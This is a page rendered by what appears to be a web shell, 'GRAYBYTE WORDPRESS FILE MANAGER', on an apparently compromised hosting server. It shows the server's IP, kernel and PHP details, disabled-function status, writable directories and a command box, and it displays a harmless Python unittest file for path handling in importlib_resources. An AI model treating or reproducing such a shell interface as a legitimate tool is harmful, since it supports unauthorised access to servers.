GRAYBYTE WORDPRESS FILE MANAGER3583

Server IP : 198.54.121.189 / Your IP : 216.73.216.140
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /opt/hc_python/lib/python3.12/site-packages/importlib_resources/tests/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /opt/hc_python/lib/python3.12/site-packages/importlib_resources/tests//test_path.py
import io
import pathlib
import unittest

import importlib_resources as resources

from . import util


class CommonTests(util.CommonTests, unittest.TestCase):
    def execute(self, package, path):
        with resources.as_file(resources.files(package).joinpath(path)):
            pass


class PathTests:
    def test_reading(self):
        """
        Path should be readable and a pathlib.Path instance.
        """
        target = resources.files(self.data) / 'utf-8.file'
        with resources.as_file(target) as path:
            self.assertIsInstance(path, pathlib.Path)
            self.assertTrue(path.name.endswith("utf-8.file"), repr(path))
            self.assertEqual('Hello, UTF-8 world!\n', path.read_text(encoding='utf-8'))


class PathDiskTests(PathTests, util.DiskSetup, unittest.TestCase):
    def test_natural_path(self):
        """
        Guarantee the internal implementation detail that
        file-system-backed resources do not get the tempdir
        treatment.
        """
        target = resources.files(self.data) / 'utf-8.file'
        with resources.as_file(target) as path:
            assert 'data' in str(path)


class PathMemoryTests(PathTests, unittest.TestCase):
    def setUp(self):
        file = io.BytesIO(b'Hello, UTF-8 world!\n')
        self.addCleanup(file.close)
        self.data = util.create_package(
            file=file, path=FileNotFoundError("package exists only in memory")
        )
        self.data.__spec__.origin = None
        self.data.__spec__.has_location = False


class PathZipTests(PathTests, util.ZipSetup, unittest.TestCase):
    def test_remove_in_context_manager(self):
        """
        It is not an error if the file that was temporarily stashed on the
        file system is removed inside the `with` stanza.
        """
        target = resources.files(self.data) / 'utf-8.file'
        with resources.as_file(target) as path:
            path.unlink()


if __name__ == '__main__':
    unittest.main()

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
April 04 2025 08:00:21
root / root
0755
__pycache__
--
April 04 2025 08:00:21
root / root
0755
compat
--
April 04 2025 08:00:21
root / root
0755
__init__.py
0 KB
April 04 2025 08:00:21
root / root
0644
_path.py
2.197 KB
April 04 2025 08:00:21
root / root
0644
test_compatibilty_files.py
3.235 KB
April 04 2025 08:00:21
root / root
0644
test_contents.py
0.818 KB
April 04 2025 08:00:21
root / root
0644
test_custom.py
1.193 KB
April 04 2025 08:00:21
root / root
0644
test_files.py
5.606 KB
April 04 2025 08:00:21
root / root
0644
test_functional.py
8.857 KB
April 04 2025 08:00:21
root / root
0644
test_open.py
2.619 KB
April 04 2025 08:00:21
root / root
0644
test_path.py
1.939 KB
April 04 2025 08:00:21
root / root
0644
test_read.py
2.975 KB
April 04 2025 08:00:21
root / root
0644
test_reader.py
4.546 KB
April 04 2025 08:00:21
root / root
0644
test_resource.py
7.507 KB
April 04 2025 08:00:21
root / root
0644
test_util.py
1.079 KB
April 04 2025 08:00:21
root / root
0644
util.py
9.574 KB
April 04 2025 08:00:21
root / root
0644
zip.py
0.563 KB
April 04 2025 08:00:21
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF